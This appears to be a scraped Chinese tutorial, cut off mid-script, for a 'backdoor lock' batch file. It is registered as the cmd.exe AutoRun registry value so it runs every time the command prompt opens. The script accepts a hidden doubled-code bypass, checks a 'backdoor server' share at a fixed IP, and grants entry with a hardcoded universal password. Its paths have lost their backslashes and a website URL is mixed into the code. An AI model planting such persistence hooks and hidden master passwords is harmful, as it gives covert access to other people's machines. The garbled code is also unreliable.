用下面的后门锁的方法是 把代码保存为bdlock.bat

　　然后修改注册表位置即可

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist 192.168.8.8backdoor$pass goto passcheck
)

　　echo 验证失败

pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"==http://www.pchwz.cn/ Goto endx
Set passcmdlock=http://www.pchwz.cn/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码？
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
